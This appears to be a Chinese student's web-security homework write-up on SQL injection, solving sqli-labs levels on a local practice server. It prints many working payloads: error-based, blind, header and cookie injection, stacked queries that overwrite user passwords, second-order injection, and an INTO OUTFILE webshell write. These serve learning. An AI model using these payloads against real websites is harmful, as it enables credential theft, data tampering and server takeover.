web安全作业(SQL注入2)

news/2025/1/1 8:17:03/文章来源:https://www.cnblogs.com/zdytom/p/18523105

web安全作业之SQL注入2

需要掌握的知识

  1. POST提交与Get提交方法的区别
  2. Mysql POST注入(POST Union注入、POST报错注入、POST盲注、POST报头注入)
  3. Mysql注入文件上传
  4. 堆叠注入
  5. 二次注入
  6. http协议请求报文
  7. 理解PHP中定义的以下预定义变量:
$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了$_POST (获取POST传参)$_GET (获取GET的传参)$_COOKIE (获取COOKIE的值)$_SERVER (包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组),功能强大。$_SERVER['HTTP_HOST'] 请求头信息中的Host内容,获取当前域名。$_SERVER["HTTP_USER_AGENT"] 获取用户相关信息,包括用户浏览器、操作系统等信息。$_SERVER["REMOTE_ADDR"] 浏览网页的用户ip。

理论作业

  1. 请描述POST提交与Get提交的区别?
  2. 请描述万能密码的原理?
  3. 请分别描述http报送中的User-Agent、Referer字段的含义?
  4. 请描述Cookie注入的原理?
  5. 请简述MySQL写入WebShell的必备条件与方法?
  6. 请描述堆叠注入与二次注入的原理?
1.区别:
1. Get提交可以被缓存,Post不会
2. Get提交参数会保留在浏览器的历史记录里,Post提交不会
3. Get提交可以被收藏为书签,post不会
4. Get提交有长度限制,最长2048个字符,Post提交没有长度要求,不是只允许使用ASCII字符,还可以使用二进制数据
5. post提交比Get提交更安全
2.uname=admin' or 1=1#(万能密码)
原理:#可以注释后面的password,然后or 1=1使得输入任何字符,结果都为真,因此称作万能密码
3.User-Agent(UA):即用户代理,内容是浏览器及版本信息,电脑信息等。常见用途是限制打开软件,浏览器及上网行为管理等。
Referer:即HTTPReferer,是头部信息header的一部分,告诉服务器该网页是从哪个页面链接过来的,该服务器因此可以获得一些信息用于处理
4.cookie注入原理为:利用头部信息中的cookie而发起的注入攻击,从本质上讲,与传统的SQL注入并无不同,只是表现形式上略有差别罢了。
当我们使用request("参数名称")方式获取客户端提交的数据,并且没有对使用request.cookies("参数名称")方式提交的数据进行过滤时,Cookie注入就产生了。
5.想要成功向MySQL写入WebShell需要至少满足以下4个条件:A.数据库的当前用户为ROOT或拥有FILE权限;B.知道网站目录的绝对路径;C.PHP的GPC参数为off状态;D.MySQL中的secure_file_priv参数不能为NULL状态。
P.S:@@basedir()是安装MYSQL的安装路径 ,@@datadir()是安装MYSQL的数据文件路径,可以结合联合查询来获取绝对路径
写入方法:A.使用outfile方法B.基于log日志写入
6.
堆叠注入原理:一堆SQL语句一起执行。在;结束后继续构造下一条语句,前提是利用<font color=red>mysqli_multi_query()函数</font>才支持多条sql语句同时执行二次注入原理:攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

实践作业

任务1:http://localhost/sqli/Less-13/

任务2:http://localhost/sqli/Less-15/

任务3:http://localhost/sqli/Less-18/

任务4:http://localhost/sqli/Less-19/

任务5:http://localhost/sqli/Less-20

任务6:使用outfile和log日志写入的方法对http://localhost/sqli/Less-7进入SQL注入

任务7:堆叠注入实验

【sqli-labs】 less38 GET -Stacked Query Injection -String based (GET型堆叠查询字符型注入)

【sqli-labs】 less39 GET -Stacked Query Injection -Intiger based (GET型堆叠查询整型注入)

【sqli-labs】Less-42

【sqli-labs】Less-44

【sqli-labs】Less-45

任务8:二次注入实验【sqli-labs】Less-24

任务一 :LESS-13 single quotes-string-with twist

1.首先输入admin' 111判断注入闭合方式为')

Snipaste_2024-04-15_15-29-54

2.这里使用万能密码直接过

Snipaste_2024-04-15_15-32-01

3.开始猜字段数

Snipaste_2024-04-15_18-13-48

4.利用报错信息报数据库名

admin') union select count(),concat_ws('_',(select database()),floor(rand(0)2)) as a from information_schema.tables group by a#

Snipaste_2024-04-15_20-46-56

5.当然也可以在username中输入以下报错方式

admin') union select extractvalue(1,concat(1,(select database())))#

admin') and 1=updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")),2)#

Snipaste_2024-04-15_20-53-06

Snipaste_2024-04-15_20-55-42

6.之后爆字段名和数据和前面的操作差不多

admin') union select count(),concat_ws('_',(select column_name from information_schema.columns where table_schema="security" and table_name="users" limit 1,1),floor(rand(0)2)) as a from information_schema.tables group by a#

admin') union select count(),concat_ws('_',(select username from security.users limit 0,1),floor(rand(0)2)) as a from information_schema.tables group by a#

任务二:LESS-15 Blind-Boolian/time Based-single quotes

1.post盲注,先抓个包发给重发器,然后进行修改

Snipaste_2024-04-15_22-02-56

2.输入adm' or 1= 1#后页面正常,= 2就显示错误,首先考虑用布尔盲注试试,判断数据库长度

uname=adm' or length((select database()))>=8#&passwd=123&submit=Submit

Snipaste_2024-04-15_22-34-44

3.uname=adm' or ascii((select substr(database(),1,1)))>=115#&passwd=123&submit=Submit

可以使用burp suite爆破uname=adm' or (select substr(database(),1,1))='s'#&passwd=123&submit=Submit

Snipaste_2024-04-15_23-15-00

4.uname=adm' or (select substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))='e'#&passwd=123&submit=Submit

Snipaste_2024-04-15_23-54-59

5.之后就如出一辙,按顺序爆字段和数据即可

uname=adm' or substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'#&passwd=123&submit=Submit

uname=adm' or substr((select username from security.users limit 0,1),1,1)='d'#&passwd=123&submit=Submit

任务三:LESS-18 Header injection-Uagent field -Error based

1.该题使用万能密码admin' or 1=1#无法登陆,但出现了IP地址,所以尝试报头注入

Snipaste_2024-04-16_11-20-30

2.首先输入admin1,admin1登录成功,抓包并发送到repeater,然后删除UA的内容,输入a'判断是否有注入,出现错误信息,做报错注入

Snipaste_2024-04-16_12-47-45

Snipaste_2024-04-16_12-49-25

3.修改UA为:' or updatexml(1,concat('~',(select database())),2),3)#

Snipaste_2024-04-16_13-08-00

4.之后就是爆表,爆字段和数据,以此类推

123' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),2),3)#

123' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),2),3)#Snipaste_2024-04-16_13-29-06

任务四:LESS-19 Header injection-Referer field-Error based

1.首先admin1,admin1登录成功看到页面有referer的信息

Snipaste_2024-04-16_19-36-34

2.接着在referer处,输入’覆盖原有内容,会报错,因此可知用报错注入

Snipaste_2024-04-16_19-40-16

3.构造' or extractvalue(1,concat(0x7e,(select database()))),2)#爆库名

这里要注意和less-18一样后面要有,2),因为其构造原理为:

代码中获取referer的语句:
INSERT INTO 'security‘.'referers'('referer','ip_address') VALUES ('$referer','$IP')
修改语句如:INSERT INTO ’security‘.'referers'('referer','ip_address') VALUES (1,2)
在1的位置构造语句:’ or extractvalue(1,concat('#',(select database()))),2)#

Snipaste_2024-04-16_19-53-23

4.之后爆表名等和之前操作差不多,在此不做过多赘述

' or extractvalue(1,concat("~",(select group_concat(table_name) from information_schema.tables where table_schema="security"))),2)#

' or extractvalue(1,concat("~",(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"))),2)#

' or extractvalue(1,concat('#',(select group_concat(username,'~',password) from security.users))),2)#

Snipaste_2024-04-16_19-56-38

Snipaste_2024-04-16_19-59-58

1.首先输入admin1,admin1登录抓包,发给repeater

Snipaste_2024-04-16_20-58-35

2.在cookie处令uname=admin'出现错误回显,再加上 ' and 1=1#就正常,1=2就错误

Snipaste_2024-04-16_21-03-58

Snipaste_2024-04-16_21-05-523.由上面可知存在sql注入,用order by爆字段数与显示位,可知字段数为3

Snipaste_2024-04-16_21-09-56

Snipaste_2024-04-16_21-11-17

4.爆数据库名和表名

uname=-1' union select 1,(select database()),3#

uname=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),3#

Snipaste_2024-04-16_21-13-23

Snipaste_2024-04-16_21-35-17

5.接下来爆字段名和数据,方法和上面一样

任务六:使用outfile和log日志写入对Less-7注入

1.首先前提是mysql有读写文件的权限,即secure_file_priv的值为''

2.然后判断闭合方式,'单引号出现异常,"双引号页面正常,可知有一个引号,然后' and 1=1--+又是错误的,说明还有其他的,试试 ')和'))可知闭合方式为')),接着猜测字段数为3(id=1')) group by 3--+)

3.然后写入一句话木马

id=1')) union select 1,2,"" into outfile "C:\\phpshootingrange\\PHPTutorial\\WWW\\a.php"--+

4.使用webshell工具连接一句话木马即可,这里使用中国菜刀

Snipaste_2024-04-17_01-22-53

Snipaste_2024-04-17_01-23-37

此题也可用sqlmap爆库,python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-7/?id=1" --current-db

Snipaste_2024-04-17_17-42-41

任务7:堆叠注入实验

LESS-38 GET -Stacked Query Injection -String based

1.首先确定闭合方式为单引号字符,然后判断字段数,使用联合查询

id=1' order by 3--+

Snipaste_2024-04-17_17-47-44

Snipaste_2024-04-17_17-49-23

2.获取数据库,表名和字段

id=-1' union select 1,(select database()),3--+

id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3--+

id=-1' and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) --+

Snipaste_2024-04-17_18-24-27

3.进行堆叠注入判断

id=-1';create database aaa--+

id=-1' union select 1,(select schema_name from information_schema.schemata where schema_name='aaa'),3--+

Snipaste_2024-04-17_18-27-09

4.利用增删改语句修改数据库中的数据

id=1';insert into users (id,username,password) value('20','spiderman','996')--+

5.然后查询数据是否插入成功

Snipaste_2024-04-17_20-11-40

LESS-39 GET -Stacked Query Injection -Intiger based

1.首先还是判断闭合方式为整型,然后字段数为3,使用联合查询得到库名,表名,字段和数据等

id=-1 union select 1,(select database()),3--+

id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3--+

id=-1 and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3) --+

Snipaste_2024-04-17_20-16-42

2.判断是否有堆叠注入

id=-1;create database aaa--+

id=-1 union select 1,(select schema_name from information_schema.schemata where schema_name='aaa'),3--+

3.最后添加或者修改数据即可

id=1;update users set password='886' where id='20'--+

4.查询数据看是否成功

Snipaste_2024-04-17_20-20-13

LESS-42 POST-Error based-string-stacked

1.首先判断注入点,输入admin'探测无显示,但是密码输入1'却显示错误,输入1'#无错误显示,说明密码处有SQL注入

Snipaste_2024-04-17_21-13-43

2.在密码处输入1' order by 4#显示错误,所以字段数为3

Snipaste_2024-04-17_21-17-00

3.密码输入1' union select 1,2,3# 以此来显示回显

Snipaste_2024-04-17_21-21-18

4.接着在密码处联合查询爆库,表,字段和数据,和之前一样

-1' union select 1,(select database()),3#

-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3#

-1' and 1=updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),3)#

Snipaste_2024-04-17_21-31-53

5.判断是否有堆叠注入

1';create database bbb#

-1' union select 1,(select schema_name from information_schema.schemata where schema_name='bbb'),3#

Snipaste_2024-04-17_21-46-40

6.之后增删改数据即可

1';update users set password='123456' where id=8#

然后用admin,123456登录进去即可

LESS-44 POST-Error based-string-stacked-blind

1.首先判断闭合方式,在密码处输入1' or 1=1#登陆成功,所以闭合方式为',且输入'无明显错误回显,存在布尔盲注

2.输入1' or 1=1;create database ccc;

1' or (select schema_name from information_schema.schemata where schema_name='ccc')='ccc'#

可知存在堆叠注入

3.进行布尔盲注爆库,表,字段和数据,可以bp抓包进行爆破

1' or substr((select table_name from information_schema.tables where table_schema='security' limit 3,1),1,1)='u'#

Snipaste_2024-04-17_23-09-38

其他的操作类似

4.最后使用增删改查数据即可

1' or 1=1;update users set password='555' where id='20'#

输入spiderman,555登陆即可

Snipaste_2024-04-17_23-13-46

LESS-45 POST-Error based-string-stacked-blind

1.这个题和44一样,只是闭合方式为'),将上题的操作稍作修改即可,在此不做过多赘述

任务八:二次注入(LESS-24)

1.这题知道admin,但是不知道密码,首先注册一个用户为admin'#

点击new user click here?

Snipaste_2024-04-17_23-20-56

2.然后使用admin'#用户登录,并修改密码为654321

使用admin,654321再次登录

Snipaste_2024-04-17_23-24-38

3.登陆成功

Snipaste_2024-04-17_23-25-21

4.其原理为在修改密码,

此时代码为:

update users set password='new_pass' where username='admin'#'and password='123456'

实际上执行的代码为:

update users set password='new_pass'where username='admin'

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/826105.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024-2025-1 20241412 《计算机基础与程序设计》第六周学习总结

学期(如2024-2025-5) 学号(如:20241404) 《计算机基础与程序设计》第5周学习总结 作业信息这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP这个作业要求在哪里 https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP/homework/13276这个作…

[论文阅读] VERY DEEP CONVOLUTIONAL NETWORKS FOR LARGE-SCALE IMAGE RECOGNITION

写在前面 原文:https://arxiv.org/pdf/1409.1556 参考:https://www.cnblogs.com/lijiuliang/p/15133276.html 关键字:卷积网络、卷积网络深度、图像识别 阅读理由:卷积神经网络深度与算法优良性能之间的关系是什么,如何评估的,结果如何,有哪些思考 前置知识:CNN(也是我…

strlen函数的模拟实现

首先我们先新建项目,并新建源文件 然后先调用sring.h里的strlen函数看看该函数的效果 可以看到strlen的结果为字符串"abc"的长度 我们又知道对于字符串"abc"实际上在字符串尾部会存在\0,即字符串arr实际上是"abc\0" 那么先定义自定义函数my_st…

2024-2025-1(20241321)《计算机基础与程序设计》第六周学习总结

这个作业属于哪个课程 <班级的链接>(2024-2025-1-计算机基础与程序设计)这个作业要求在哪里 <作业要求的链接>(2024-2025-1计算机基础与程序设计第一周作业)这个作业的目标 <了解并学习AI功能,回顾一周课程心得>作业正文 ... 本博客链接https://www.cnblo…

Java学习十七—反射机制:解锁代码的无限可能

Java 反射(Reflection)是Java 的特征之一,它允许程序在运行时动态地访问和操作类的信息,包括类的属性、方法和构造函数。Java学习十七—反射机制:解锁代码的无限可能 一、关于反射 1.1 简介 Java 反射(Reflection)是Java 的特征之一,它允许程序在运行时动态地访问和操作类的…

行人闯红灯自动监测系统

行人闯红灯自动监测系统利用现场已有的监控摄像头,当路口有行人通过时,行人闯红灯自动监测系统设备自动监测识别是人体。一旦识别到人行横道区域有行人通行,系统就会自动判定并发出警告。同时,系统还能够识别红绿灯的状态,如果红灯亮起,系统就会通过声光联合告警,提醒行…

学校食堂互联网明厨亮灶方案

学校食堂互联网明厨亮灶方案利用现场已有的监控摄像头智能识别后厨人员穿戴情况,学校食堂互联网明厨亮灶方案针对没有戴厨师帽、口罩、工作服、玩手机、吸烟、垃圾桶未盖盖、明火离岗等违规行为的后厨人员第一时间进行识别、抓拍、报警提醒。这种方案通过AI技术实现了对后厨人…

变电站隔离刀闸状态自动识别系统

变电站隔离刀闸状态自动识别系统采用超高速动态图像并行处理算法,变电站隔离刀闸状态自动识别系统通过现场监控摄像头对隔离刀闸进行实时图像采集,并利用图像识别技术对刀闸状态进行自动判断。该系统可实现一站多组刀闸、多站多组刀闸位置、运行状态等同时检测,速度快,识别…

2,后台部署

基本流程图确保可通服务器客户端 ping 服务器外网IP地址安装应用服务通过LAMP,一键安装部署 命令生成地址:https:lnmp.org/auto.html (只针对PHP项目部署)安装服务验证检查Apache的服务是否运行sestemctl status httpd检查MySQL是否运行sestemctl status mysql检查PHP是否安装…

Python311新特性-特化指令specializing adaptive interpreter-typing-asyncio

Python311新特性-特化指令specializing adaptive interpreter-typing-asyncioPython3新特性 python3.11增加了许多特性,让python更快更加安全,本文从应用层面来讲一下python3.11的这些新特性 特化自适应解析器是什么,如何利用特化写出更高性能的代码 如何在项目中落地type h…

Python模拟真人动态生成鼠标滑动路径

一.简介 鼠标轨迹算法是一种模拟人类鼠标操作的程序,它能够模拟出自然而真实的鼠标移动路径。 鼠标轨迹算法的底层实现采用C/C++语言,原因在于C/C++提供了高性能的执行能力和直接访问操作系统底层资源的能力。 鼠标轨迹算法具有以下优势: 模拟人工轨迹:算法能够模拟出非…

猿人学web端爬虫攻防大赛赛题第2题——动态cookie

题目网址:https://match.yuanrenxue.cn/match/2 解题步骤看触发的数据包。在请求头中的cookie字段中m变量的值一看就是加密过的。看Initiator模块中的request。点进去,打断点。我们只能在响应内容中看到页面数据,但是关于m的加密却是没有看到。刷新界面,出现如下画面。说明…